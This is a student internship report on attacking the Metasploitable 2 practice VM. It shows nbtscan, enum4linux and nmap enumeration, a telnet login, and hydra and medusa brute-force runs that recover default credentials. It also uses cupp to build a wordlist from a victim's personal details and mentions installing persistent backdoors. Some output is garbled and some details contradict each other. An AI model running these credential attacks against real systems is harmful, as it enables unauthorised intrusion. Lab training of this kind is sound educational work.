

CYBER SECURITY

MAJOR ROJECT

UNDER ESTEEMED GUIDENESS OF

Ms. YANDAMURI UMADEVI

SUBMITTED BY

The project entitled "**Gain access of Metaploitable OS using port enumeration**" was submitted by **KOTA SANDEEP**, a student at St.Peter's Engineering College of student id 21BK1A0596. The project was completed under the guidance of Ms. YANDAMURI UMADEVI , and was submitted on December 11, 2022. Sandeep can be contacted via email at kotasandeep2003gmail.com , and The project was completed as part of CYBER SECURITY internship at **ADVERK TECHNOLOGIES**.

ABSTRACT

This project explores the use of port enumeration as a security testing technique, with the goal of gaining access to a Metaploitable operating system. Metaploitable is a vulnerable virtual machine that is designed for use in security training and testing. It is a Linux-based operating system that contains a variety of vulnerable software and services, including web servers, databases, and network services.

To gain access to the Metaploitable operating system, we used port enumeration to identify the open ports and services on the system. This information was used to plan and execute further security testing and attacks, in order to gain access to the system.

Overall, the project was successful in demonstrating the value and effectiveness of port enumeration as a security testing technique, and provided valuable insights into the vulnerabilities and security risks of the Metaploitable operating system. There are many further developments and areas of exploration that can be pursued in this area, and this project provides a valuable starting point for further work in this field.

INTRODUCTION

- Metasploitable is a vulnerable virtual machine that is designed for use in security training and testing. It is a Linux-based operating system that contains a variety of vulnerable software and services, including web servers, databases, and network services.
- One way to gain access to a Metasploitable operating system is through port enumeration, which is the process of identifying the network services and ports that are open and available on a computer or network. This information can be useful for security testing, as it can help identify potential vulnerabilities and security risks that can be exploited to gain access to the system.
- To perform port enumeration on a Metasploitable operating system, users can use a variety of tools and techniques, including network scanners, port scanners, and other specialized tools. These tools can be used to identify the open ports and services on the system, and can also provide additional information such as the version of the service and the software that is running on it.
- Once the open ports and services have been identified, users can then use this information to plan and execute further security testing and attacks, in order to gain access to the Metasploitable operating system. This can include techniques such as scanning for known vulnerabilities, testing for weak or default passwords, and exploiting software vulnerabilities to gain access to the system.
- Overall, port enumeration is a valuable tool for security testing and can be used to gain access to a Metasploitable operating system. By identifying the open ports and services on the system, users can better understand its vulnerabilities and security risks, and can use this information to plan and execute more effective security testing and attacks.

PROJECT OVERVIEW

- The goal of this project is to gain access to a Metasploitable operating system using port enumeration. Metasploitable is a vulnerable virtual machine that is designed for use in security training and testing. It is a Linux-based operating system that contains a variety of vulnerable software and services, including web servers, databases, and network services.
- To gain access to the Metasploitable operating system, we will use port enumeration to identify the open ports and services on the system. This information can be useful for security testing, as it can help identify potential vulnerabilities and security risks that can be exploited to gain access to the system.
- To perform port enumeration on the Metasploitable operating system, we will use a variety of tools and techniques, including network scanners, port scanners, and other specialized tools. These tools will be used to identify the open ports and services on the system, and will also provide additional information such as the version of the service and the software that is running on it.
- Once the open ports and services have been identified, we will use this information to plan and execute further security testing and attacks, in order to gain access to the Metasploitable operating system. This will include techniques such as scanning for known vulnerabilities, testing for weak or default passwords, and exploiting software vulnerabilities to gain access to the system.
- Overall, this project will provide a comprehensive overview of the process of gaining access to a Metasploitable operating system using port enumeration. By using a variety of tools and techniques, we will identify the open ports and services on the system, and will use this information to plan and execute effective security testing and attacks.

PROJECT METHODOLOGIES

There are a few key steps to gaining access to an operating system (OS) using port enumeration:

1. Identify the target OS
 2. Enumerate open ports and services
 3. Search for vulnerabilities
 4. Exploit vulnerabilities
 5. Maintain access
-
1. **Identify the target OS:** In order to gain access to a specific OS, you must first determine which OS is running on the target system. This can be done using various tools and techniques, such as examining the banners or headers of network services, running OS fingerprinting tools, or using network scanning tools to identify open ports and services.
 2. **Enumerate open ports and services:** Once you have identified the target OS, the next step is to enumerate the open ports and services on the system. This can be done using a port scanner tool, which sends a series of probes to the target system and identifies which ports are open and which services are running on those ports.
 3. **Search for vulnerabilities:** Once you have identified the open ports and services on the target system, the next step is to search for known vulnerabilities that affect those services. This can be done by examining security advisories, checking online databases of vulnerabilities, or using vulnerability scanning tools to automatically search for known vulnerabilities.
 4. **Exploit vulnerabilities:** If you have identified a vulnerability that affects one of the services running on the target system, the next step is to exploit that vulnerability to gain access to the system. This can be done using a variety of tools and techniques, such as running a exploit code or using a pre-built exploit tool.
 5. **Maintain access:** Once you have gained access to the system, the

final step is to maintain that access and ensure that you can continue to access the system in the future. This can be done by installing a persistent backdoor on the system, or by establishing a secure connection (such as a VPN or SSH tunnel) that you can use to access the system in the future.

Overall, gaining access to an OS using port enumeration involves identifying the target OS, enumerating open ports and services, searching for vulnerabilities, exploiting those vulnerabilities, and maintaining access to the system. These steps require a combination of technical knowledge and tools, and may involve some trial and error in order to successfully gain access to the system.

PROJECT RESULT

```
root@kali:~# nbtscan 192.168.0.185
Doing NBT name scan for addresses from 192.168.0.185

IP address      NetBIOS Name    Server    User      MAC address
-----
192.168.0.185    METASPLOITABLE  <server>  METASPLOITABLE  00:00:00:00:00:00

root@kali:~# nbtscan gmail.com
Error: gmail.com is not an IP address or address range.
Usage:
nbtscan [-v] [-d] [-q] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator]
or) [-m retransmits] [-f filename] [<scan_range>]
-v          verbose output. Print all names received
            from each host
-d          dump packets. Print whole packet contents.
-e          Format output in /etc/hosts format.
-l          Format output in lmhosts format.
            Cannot be used with -v, -s or -h options.
-t timeout  wait timeout milliseconds for response.
            default 1000
-b bandwidth Output throttling. Slow down output
            so that it uses no more than bandwidth bps.
            Useful on slow links, so that outgoing queries
            don't get dropped.
-r          use local port 137 for scans. Win95 boxes
            respond to this only.
-q          You need to be root to use this option on Unix.
            Suppress banners and error messages.
-s separator Script-friendly output. Don't print
            column and record headers, separate fields with separator.
-h          Print human-readable names for services.
            Can only be used with -v option.
-m retransmits Number of retransmits. Default 0.
-f filename  Take IP addresses to scan from file filename.
            -f makes nbtscan take IP addresses from stdin.
            what to scan. Can either be single IP
            like 192.168.1.1 or
            range of addresses in one of two forms:
            xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx.

Examples:
nbtscan -r 192.168.1.0/24    Scans the whole C-class network.
nbtscan 192.168.1.25-137    Scans a range from 192.168.1.25 to 192.168.1.137
nbtscan -v -s : 192.168.1.0/24 Scans C-class network. Prints results in script-friendly
                             format using colon as field separator.
                             Produces output like that:
                             192.168.0.1:NT_SERVER:000
                             192.168.0.1:HW_DOMAIN:000
                             192.168.0.1:ADMINISTRATOR:000
                             192.168.0.2:OTHER_BOX:000
nbtscan -f iplist
```

- First we need to findout nbt scan of Metasploit <ip> address,after that we need to scan of gmail.com
- #To scan the device & username,MAC address,sserver

```
root@kali:~# nbtscan -f iplist
nbtscan -f iplist
Scans IP addresses specified in file iplist.

root@kali:~# nbtscan -v 192.168.0.185
Doing NBT name scan for addresses from 192.168.0.185

NetBIOS Name Table for Host 192.168.0.185:
Incomplete packet, 335 bytes long.
Name      Service      Type
-----
METASPLOITABLE <00>    UNIQUE
METASPLOITABLE <03>    UNIQUE
METASPLOITABLE <20>    UNIQUE
METASPLOITABLE <00>    UNIQUE
METASPLOITABLE <03>    UNIQUE
METASPLOITABLE <20>    UNIQUE
MICROPHONE <01>    GROUP
WORKGROUP <00>    GROUP
WORKGROUP <1d>    UNIQUE
WORKGROUP <1c>    GROUP
WORKGROUP <00>    GROUP
WORKGROUP <1d>    UNIQUE
WORKGROUP <1e>    GROUP
Adapter address: 00:00:00:00:00:00

root@kali:~# sudo enumlinux 192.168.0.185
Starting enumlinux v0.9.1 ( http://labs.portcullis.co.uk/application/enumlinux/ ) o
n Sun Dec 11 13:28:48 2022

----- ( Target Information ) -----
Target ..... 192.168.0.185
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

----- ( Enumerating Workgroup/Domain on 192.168.0.185 ) -----

[*] Got domain/workgroup name: WORKGROUP

----- ( Nbtstat Information for 192.168.0.185 ) -----

Looking up status of 192.168.0.185
METASPLOITABLE <00> - B <ACTIVE> Workstation Service
```

- nbtscan -v<ip>:#to know version of the target machine enum4linux
- #this tool to get details linux only&This is the direct tool & it works only in LAN
- *sudo enum4linux<ip>:#To get OS info &password policy,netbias information

```

root@kali:~# nbtstat -S 192.168.0.185
Looking up status of 192.168.0.185
  METASPLOITABLE <00> - B <ACTIVE> Workstation Service
  METASPLOITABLE <03> - B <ACTIVE> Messenger Service
  METASPLOITABLE <20> - B <ACTIVE> File Server Service
  _MSBROWSE_ <01> - <GROUP> B <ACTIVE> Master Browser
  WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
  WORKGROUP <10> - B <ACTIVE> Master Browser
  WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
  MAC Address - 00-00-00-00-00-00

  ( Session Check on 192.168.0.185 )

[*] Server 192.168.0.185 allows sessions using username '', password ''

  ( Getting domain SID for 192.168.0.185 )

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[*] Can't determine if host is part of domain or part of a workgroup

  ( OS Information on 192.168.0.185 )

[*] Can't get OS info with smbclient

[*] Got OS info for 192.168.0.185 from srvinfo:
  METASPLOITABLE WK SV PrQ Unix NT SNT metasploitable server (Samba 3.6.20-Debian)

  ( Users on 192.168.0.185 )

index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null)
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null)
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null)
index: 0x5 RID: 0x4b6 acb: 0x00000011 Account: syslog Name: (null) Desc: (null)
index: 0x6 RID: 0x0b1 acb: 0x00000011 Account: user Name: just a user,ill., Desc: (null)
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)

```

```

root@kali:~# enum4linux -a 192.168.0.185
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null)
index: 0xa RID: 0x4ac acb: 0x00000011 Account: postgres Name: PostgreSQL administrator Desc: (null)
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null)
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null)
index: 0xd RID: 0x4ac acb: 0x00000011 Account: distccd Name: (null) Desc: (null)
index: 0xe RID: 0x4ec acb: 0x00000011 Account: proftpd Name: (null) Desc: (null)
index: 0xf RID: 0x4b7 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null)
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null)
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null)
index: 0x12 RID: 0x3fa acb: 0x00000011 Account: man Name: man Desc: (null)
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null)
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server Desc: (null)
index: 0x15 RID: 0x42a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System Admin Desc: (null)
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuid Name: (null) Desc: (null)
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null)
index: 0x18 RID: 0x4b8 acb: 0x00000011 Account: msadmin Name: msadmin Desc: (null)
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null)
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null)
index: 0x1b RID: 0x4b0 acb: 0x00000011 Account: klog Name: (null) Desc: (null)
index: 0x1c RID: 0x4b6 acb: 0x00000011 Account: postfix Name: (null) Desc: (null)
index: 0x1d RID: 0x4bc acb: 0x00000011 Account: service Name: (null) Desc: (null)
index: 0x1e RID: 0x43a acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null)
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null)
index: 0x20 RID: 0x4b6 acb: 0x00000011 Account: fip Name: (null) Desc: (null)
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null)
index: 0x22 RID: 0x3f8 acb: 0x00000011 Account: sync Name: sync Desc: (null)
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)

user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b6]
user:[user] rid:[0x0b1]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4ac]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4ac]
user:[proftpd] rid:[0x4ec]
user:[dhcp] rid:[0x4b7]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3fa]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x42a]

```



```
File Actions Edit View Help
root@kali: ~
user:[libuid] rid:[0x4b0]
user:[backup] rid:[0x4b2]
user:[msfadmin] rid:[0x4b8]
user:[winrmc] rid:[0x4c0]
user:[sys] rid:[0x4c4]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4b4]
user:[service] rid:[0x4bc]
user:[list] rid:[0x4b4]
user:[irc] rid:[0x4b0]
user:[ftp] rid:[0x4b0]
user:[omcat55] rid:[0x4c4]
user:[unccp] rid:[0x4fc]

( Share Enumeration on 192.168.0.185 )

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
tmp            Disk      oh noes!
opt            Disk
IPC$           IPC        IPC Service (metasploitable server (Samba 3.0.20-De
bian))
ADMIN$         IPC        IPC Service (metasploitable server (Samba 3.0.20-De
bian))
Reconnecting with SMB1 for workgroup listing.

Server          Comment
-----
Workgroup       Master
WORKGROUP       METASPLOITABLE

[*] Attempting to map shares on 192.168.0.185
//192.168.0.185/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.0.185/tmp Mapping: OK Listing: OK Writing: N/A
//192.168.0.185/opt Mapping: DENIED Listing: N/A Writing: N/A

[*] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.0.185/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//192.168.0.185/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A

( Password Policy Information for 192.168.0.185 )

[*] Attaching to 192.168.0.185 using a NULL share
[*] Trying protocol 139/SMB ...
```

```
File Actions Edit View Help
root@kali: ~

[*] Trying protocol 139/SMB ...
[*] Found domain(s):
  [*] METASPLOITABLE
  [*] builtin

[*] Password Info for Domain: METASPLOITABLE
  [*] Minimum password length: 5
  [*] Password history length: None
  [*] Maximum password age: Not Set
  [*] Password Complexity Flags: 00000000
    [*] Domain Refuse Password Change: 0
    [*] Domain Password Store Cleartext: 0
    [*] Domain Password Lockout Admins: 0
    [*] Domain Password No Clear Change: 0
    [*] Domain Password No Anon Change: 0
    [*] Domain Password Complex: 0
  [*] Minimum password age: None
  [*] Reset Account Lockout Counter: 30 minutes
  [*] Locked Account Duration: 30 minutes
  [*] Account Lockout Threshold: None
  [*] Forced log off Time: Not Set

[*] Retrieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 0

( Groups on 192.168.0.185 )

[*] Getting builtin groups:
[*] Getting builtin group memberships:
[*] Getting local groups:
[*] Getting local group memberships:
[*] Getting domain groups:
[*] Getting domain group memberships:
```

```
File Actions Edit View Help
[+] Getting domain groups:

[+] Getting domain group memberships

----- ( Users on 192.168.0.185 via RID cycling (RID5: 500-550,1800-1856) ) -----

[!] Found new SID:
5-1-5-21-1042354839-2475377354-766472396-766472396

[+] Enumerating users using SID 5-1-5-21-1042354839-2475377354-766472396 and login username "", password ""

5-1-5-21-1042354839-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User)
5-1-5-21-1042354839-2475377354-766472396-501 METASPLOITABLE\nobody (Local User)
5-1-5-21-1042354839-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1000 METASPLOITABLE\root (Local User)
5-1-5-21-1042354839-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1002 METASPLOITABLE\dseamon (Local User)
5-1-5-21-1042354839-2475377354-766472396-1003 METASPLOITABLE\dseamon (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1004 METASPLOITABLE\bin (Local User)
5-1-5-21-1042354839-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1006 METASPLOITABLE\sys (Local User)
5-1-5-21-1042354839-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1008 METASPLOITABLE\sync (Local User)
5-1-5-21-1042354839-2475377354-766472396-1009 METASPLOITABLE\jms (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1010 METASPLOITABLE\qames (Local User)
5-1-5-21-1042354839-2475377354-766472396-1011 METASPLOITABLE\vcy (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1012 METASPLOITABLE\man (Local User)
5-1-5-21-1042354839-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1014 METASPLOITABLE\lp (Local User)
5-1-5-21-1042354839-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1016 METASPLOITABLE\mail (Local User)
5-1-5-21-1042354839-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1018 METASPLOITABLE\news (Local User)
5-1-5-21-1042354839-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1020 METASPLOITABLE\umscp (Local User)
5-1-5-21-1042354839-2475377354-766472396-1021 METASPLOITABLE\umscp (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User)
5-1-5-21-1042354839-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1031 METASPLOITABLE\news (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1041 METASPLOITABLE\dialout (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1043 METASPLOITABLE\fax (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1045 METASPLOITABLE\voice (Domain Group)
5-1-5-21-1042354839-2475377354-766472396-1049 METASPLOITABLE\cdrom (Domain Group)

----- ( Getting printer info for 192.168.0.185 ) -----

No printers returned.

enumlinux complete on Sun Dec 11 11:29:28 2022
```

```
File Actions Edit View Help

[+] (root@kali) ~# nmap 192.168.0.185
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-11 11:43 EST
Nmap scan report for 192.168.0.185
Host is up (0.18s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8180/tcp  open  unknown
MAC Address: 08:00:27:AC:D3:C9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds

[+] (root@kali) ~# telnet 192.168.0.185
Trying 192.168.0.185 ...
Connected to 192.168.0.185.
Escape character is '^]'.

metasploitable2

Warning: Never expose this VM to an untrusted network!
```

- # Telenet Enumeration:
- Telenet is a network protocol used to virtually access a computer and to provide a two-way, collaborative and text based communication channel between two machines.
- First we have to scan the <ip> using nmap for open port, if telnet is open then enter in the target system


```
root@kali:~/home/kali/Desktop
File Actions Edit View Help

root@kali:~# nmap -p 21 192.168.0.236
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-11 14:12:12
Nmap scan report for 192.168.0.236
Host is up (0.0004s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:5C:31:5E (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

root@kali:~# cd Desktop
cd: no such file or directory: Desktop

root@kali:~# pwd
/root

root@kali:~# cd /home/kali/Desktop/
/home/kali/Desktop/

root@kali:~/home/kali/Desktop# ls
passwd "user name"

root@kali:~/home/kali/Desktop# hydra -L /home/kali/Desktop/user.txt -P /home/kali/Desktop/passwd.txt ftp://192.168.0.236
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-11 14:42:58
[ERROR] File for logins not found: /home/kali/Desktop/user.txt

root@kali:~/home/kali/Desktop# ls
passwd user

root@kali:~/home/kali/Desktop# hydra -L /home/kali/Desktop/user.txt -P /home/kali/Desktop/passwd.txt ftp://192.168.0.236
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-11 14:44:45
[ERROR] File for logins not found: /home/kali/Desktop/user.txt

root@kali:~/home/kali/Desktop# hydra -L /root/home/kali/Desktop/user.txt -P /root/home/kali/Desktop/passwd.txt ftp://192.168.0.236
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-11 14:48:36
[ERROR] File for logins not found: /root/home/kali/Desktop/user.txt

root@kali:~/home/kali/Desktop#
```

- Now we using hydra & medusa tools >>create a guessing user name & passwd file and save it (or) uname,passwd download files (or) You know some details about target so using that details we can generate passwords list using cupp tool (git clone <https://github.com/Mebus/cupp.git>)

```
root@kali:~/home/kali/Desktop
File Actions Edit View Help

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-11 14:48:36
[ERROR] File for logins not found: /root/home/kali/Desktop/user.txt

root@kali:~/home/kali/Desktop# hydra -L /home/kali/Desktop/c.ini -P /home/kali/Desktop/passwd.txt ftp://192.168.0.236
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-11 14:52:19
[ERROR] File for logins not found: /home/kali/Desktop/user.txt

root@kali:~/home/kali/Desktop# hydra -L /home/kali/Desktop/c.ini -P /home/kali/Desktop/passwd.txt ftp://192.168.0.236
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-11 15:00:24
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (13/p/3), ~1 try per task
[DATA] attacking ftp://192.168.0.236:21/
[21][ftp] host: 192.168.0.236 - login msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-11 15:00:28

root@kali:~/home/kali/Desktop#
```

```
root@kali: /home/kali/Desktop/cupp
File Actions Edit View Help
ls
CHANGELOG.md cupp.cfg cupp.py LICENSE raju.txt README.md screenshots test_cupp.py
python3 cupp.py -i
# Common
# User
# Passwords
# Profiler
[ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/ ]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: raju
> Surname: reddy
> Nickname: raju
> Birthdate (DDMMYYYY): 10052003

> Partners) name: 
```

- python3 cupp.py -i #cupp tool run command

```
root@kali: /home/kali/Desktop/cupp
File Actions Edit View Help
[raju.txt] D09'#'@%
^CTraceback (most recent call last):
  File "/home/kali/Desktop/cupp/cupp.py", line 1095, in <module>
    main()
  File "/home/kali/Desktop/cupp/cupp.py", line 1039, in main
    interactive()
  File "/home/kali/Desktop/cupp/cupp.py", line 373, in interactive
    generate_wordlist_from_profile(profile) # generate the wordlist
  File "/home/kali/Desktop/cupp/cupp.py", line 708, in generate_wordl
ist_from_profile
    print_to_file(profile["name"] + ".txt", unique_list_finished)
  File "/home/kali/Desktop/cupp/cupp.py", line 144, in print_to_file
    time.sleep(0000.1)
KeyboardInterrupt

(root@kali)-[/home/kali/Desktop/cupp]
# 
```

```
root@kali:~/home/kali/Desktop
File Actions Edit View Help
root@kali: ~/home/kali/Desktop
root@kali:~/home/kali/Desktop# medusa -h 192.168.0.236 -u /home/kali/Desktop/c.ini -P /home/kali/Desktop/pass.ini -H ssh
Medusa v2.2 [http://www.fooofus.net] (C) 3oMo-Kun / Fooofus Networks <jnk@fooofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: sandeep (1 of 3, 0 complete) Password: sandeep (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: sandeep (1 of 3, 0 complete) Password: admin (2 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: sandeep (1 of 3, 0 complete) Password: msfadmin (3 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: sandeep (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: admin (2 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: msfadmin (3 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: msfadmin (3 of 3, 2 complete) Password: sandeep (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: msfadmin (3 of 3, 2 complete) Password: admin (2 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.236 (1 of 1, 0 complete) User: msfadmin (3 of 3, 2 complete) Password: msfadmin (3 of 3 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.0.236 User: msfadmin Password: msfadmin [SUCCESS]

root@kali:~/home/kali/Desktop
```

- **#CRACKING LOGIN CREDENTIALS USING HYDRA**

Now we are doing file sharing so we have to check FTP(PORT 21) open or not using [nmap -P] port scanning Now search the files where you have stored particular path hydra -L /home/kali/Desktop/c.ini -P /home/kali/Desktop/pass.ini ftp://192.168.0.236 Like this you have to replace /home/kali/Desktop/c.ini your files location & ftp:// tar -xvf # to read files force fully poweroff #To shutdown

FURTHER DEVELOPMENTS

The goal of this project is to gain access to a Metaploitable operating system using port enumeration. This is a valuable and important skill for security testing and can provide valuable insights into the vulnerabilities and security risks of a system.

Once we have gained access to the Metaploitable operating system using port enumeration, there are a number of further developments and areas of exploration that we can pursue. Some of the key areas of focus for further development include:

- Exploring and testing the other vulnerable software and services on the Metaploitable operating system. Once we have gained access to the system, we can use this initial foothold to explore the other vulnerable software and services on the system, and to identify and test additional vulnerabilities and security risks.
- Developing and implementing new and more effective security testing techniques and strategies. As we gain experience and knowledge from our initial access to the Metaploitable operating system, we can use this information to develop and implement more effective security testing techniques and strategies that can be used to gain access to other systems and networks.
- Expanding our knowledge and expertise in security testing and penetration testing. As we gain access to the Metaploitable operating system and explore its vulnerabilities and security risks, we can also expand our knowledge and expertise in security testing and penetration testing, and can continue to learn and develop our skills in these areas.
- Overall, there are many exciting and valuable further developments that can be pursued once we have gained access to the Metaploitable operating system using port enumeration. By exploring the vulnerabilities and security risks of the system, and by developing and implementing new and more effective security testing techniques, we can continue to improve our skills and expertise in this important area

CONCLUSION

- In conclusion, the goal of this project was to gain access to a Metasploitable operating system using port enumeration. This is a valuable and important skill for security testing, as it can help identify the open ports and services on a system, and can provide valuable insights into its vulnerabilities and security risks.
- To achieve this goal, we used a variety of tools and techniques, including network scanners, port scanners, and other specialized tools. These tools were used to identify the open ports and services on the Metasploitable operating system, and provided valuable information about the software and services that were running on the system.
- Once the open ports and services were identified, we used this information to plan and execute further security testing and attacks, in order to gain access to the Metasploitable operating system. This included techniques such as scanning for known vulnerabilities, testing for weak or default passwords, and exploiting software vulnerabilities to gain access to the system.
- Overall, we were successful in gaining access to the Metasploitable operating system using port enumeration. This demonstrated the value and effectiveness of port enumeration as a security testing technique, and provided valuable insights into the vulnerabilities and security risks of the system.
- There are many further developments and areas of exploration that can be pursued once we have gained access to the Metasploitable operating system using port enumeration. By continuing to explore the vulnerabilities and security risks of the system, and by developing and implementing new and more effective security testing techniques, we can continue to improve our skills and expertise in this important area.

